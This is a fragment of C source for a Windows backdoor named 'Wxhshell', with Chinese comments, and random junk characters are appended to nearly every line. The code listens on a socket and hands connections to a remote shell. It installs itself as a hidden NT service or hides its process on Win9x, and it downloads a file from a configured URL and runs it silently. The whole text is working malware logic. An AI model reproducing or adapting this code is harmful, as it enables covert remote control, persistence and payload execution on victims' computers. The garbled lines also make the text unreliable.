DWORD AffinityMask; l0E]#ra"
DWORD BasePriority; I0G[K~gb
ULONG UniqueProcessId; fsWPU]\)
ULONG InheritedFromUniqueProcessId; 4D6LP*
} PROCESS_BASIC_INFORMATION; kJ)Z{hy
Ob]J!.
PROCNTQSIP NtQueryInformationProcess; ()<?^lr33
lInf,Q7W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; me90|GOx+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oVd7ucnK
iKv"200h(
HANDLE hProcess; I")mg~f
PROCESS_BASIC_INFORMATION pbi; 0Kg?X
}\1IsK~P
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &td
if(NULL == hInst ) return 0; f67t.6Vw2+
Su<>UsdUC
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VdGpreRPC
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [4+I1UR`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #Vy:6O
HT6$|j
if (!NtQueryInformationProcess) return 0; p9&gKIO_m
[@@EE>
y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HIda%D
if(!hProcess) return 0; ?>My&yB
+mYK
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T-x}o
Kp19dp}'b
CloseHandle(hProcess); #P
{|7}jk
;,xM*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s\Ln
if(hProcess==NULL) return 0; /Eu|Jg=I
2rHQ7
HMODULE hMod; p+-IvU
char procName[255]; K1p. {
unsigned long cbNeeded; :mt<]Oy3
DH)E9HL
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (4/W)L$
s%G%s,d
CloseHandle(hProcess); UYzNaw4/x
9zm2}6r4
if(strstr(procName,"services")) return 1; // 以服务启动 z}Um$'. =
A.(e=;0bu
return 0; // 注册表启动 p[}~Z|(
} Ao\Im(?
8EU/}Ym
// 主模块 ,x?Jrcx~'C
int StartWxhshell(LPSTR lpCmdLine) < Yc)F.:
{ -8v:eyc
SOCKET wsl; VFKFO9
BOOL val=TRUE; D58RHgY[
int port=0; 6_K7!?YG7
struct sockaddr_in door; AB<%GzW0(
NHe[,nIV
if(wscfg.ws_autoins) Install(); U#{(*)qr
WwUHHm<v
port=atoi(lpCmdLine); u1>WG?/`
TgKSE1
if(port<=0) port=wscfg.ws_port; gL`aLg_
/x\~5cC
WSADATA data; V5gr-^E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _>_"cKS
h;R>|2A
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G[n;%c~`+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )_}xK={
door.sin_family = AF_INET; f/"IC;<~t>
door.sin_addr.s_addr = inet_addr("127.0.0.1"); FytGg[#]
door.sin_port = htons(port); 2 ]n4)vv,
+`!>lo{X
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t
;fJ`.
closesocket(wsl); ULO_?4}B
return 1; _>3#dk
} V7D<'!
*;Za))
if(listen(wsl,2) == INVALID_SOCKET) { uUe#+[bD
closesocket(wsl); Ao@WTs9
return 1; <4CqG4}Y
} l< H nP R/
Wxhshell(wsl); +o35${
WSACleanup(); !Z0S@]C
)S}.QrG
return 0; Q]OR0-6<.
! vuun |
} 6XnUs1O
o\fPZ`p-m~
// 以NT服务方式启动 RFq=`/>dG
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X.ZG-TC
{ iO$ ?No
DWORD status = 0; [7 t
DWORD specificError = 0xfffffff; C8=r sh
->Fsmb+R
serviceStatus.dwServiceType = SERVICE_WIN32; U&SSc@of
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9t8ccr
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A,c_ME+DVB
serviceStatus.dwWin32ExitCode = 0; O`Htdnu
serviceStatus.dwServiceSpecificExitCode = 0; SZ:R~4 A
serviceStatus.dwCheckPoint = 0; O{Q+<fBC9
serviceStatus.dwWaitHint = 0; VBW][f
-b34Wz(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IR32O,)
if (hServiceStatusHandle==0) return; {MUO25s02
4L r,}tA
status = GetLastError(); M XuHA?
if (status!=NO_ERROR) .=) *Qx+
{
ONUa7
serviceStatus.dwCurrentState = SERVICE_STOPPED; j"+6aD/lv
serviceStatus.dwCheckPoint = 0; :*-O;Yw?S@
serviceStatus.dwWaitHint = 0; !uA'0U?ky
serviceStatus.dwWin32ExitCode = status; c?6(mU\x
serviceStatus.dwServiceSpecificExitCode = specificError; +~7[T/v+n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i_nUyH%b
return; `%~f5<
} dP"cm0
mq4VwT
serviceStatus.dwCurrentState = SERVICE_RUNNING; h7S;
4]
serviceStatus.dwCheckPoint = 0; 6U,:J'5gP
serviceStatus.dwWaitHint = 0; Q+'fTmT[,
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !/1~
} O#<S\66
y^ D3}ds
// 处理NT服务事件,比如:启动、停止 u,~+ho@
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^ '_Fd
{ a(uQGyr[k1
switch(fdwControl) ?OGs+G
{ aHPx'R
case SERVICE_CONTROL_STOP: Y5*A,piq
serviceStatus.dwWin32ExitCode = 0; $4kbOqn4
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^P`I"T
d
serviceStatus.dwCheckPoint = 0; !:~C/B{
serviceStatus.dwWaitHint = 0; QaXdO=3
{ [=:4^S|M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N9vNSmm
} COd~H
return; -L2?Tap
case SERVICE_CONTROL_PAUSE:
U^-RyE!}
serviceStatus.dwCurrentState = SERVICE_PAUSED; r
l;Y7l
break; COD^osM@
case SERVICE_CONTROL_CONTINUE: 7w\!3pv
serviceStatus.dwCurrentState = SERVICE_RUNNING; z_). -
break; 5Gz~,_
case SERVICE_CONTROL_INTERROGATE: a;(,$q3M
break; ^}kYJvqA
};
-:wV3D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @f-rS{
} X.rbJyKe
z;>O5a>z
// 标准应用程序主函数 xX~m Fz0C
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) McN'J.Sxp
{ Rli`]~!w
#t
VGqf
// 获取操作系统版本
F |_mCwA
OsIsNt=GetOsVer(); v'Up& /(
GetModuleFileName(NULL,ExeFile,MAX_PATH); z[JM ]Wy
}(WUZ^L
// 从命令行安装 5UQ[vHMqI
if(strpbrk(lpCmdLine,"iI")) Install(); OQDx82E
#Zn+-Ih
// 下载执行文件 .SBN^fq
if(wscfg.ws_downexe) { dhuIVBp!!e
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uuy0fQQ8ti
WinExec(wscfg.ws_filenam,SW_HIDE); - @KT#
} >_X(rar0
wHQYBYKcd
if(!OsIsNt) { 7K!n'dAi6
// 如果时win9x,隐藏进程并且设置为注册表启动 HBw0N?
HideProc(); /#}%c'
StartWxhshell(lpCmdLine); 7/\SN04l
} / $'M
else ])WIw'L!
if(StartFromService()) RC!T1o~L
// 以服务方式启动 6X$\:>
StartServiceCtrlDispatcher(DispatchTable); XLm@, A[
else u7-0?
// 普通方式启动 5jTA6s9z A
StartWxhshell(lpCmdLine); [U7r>&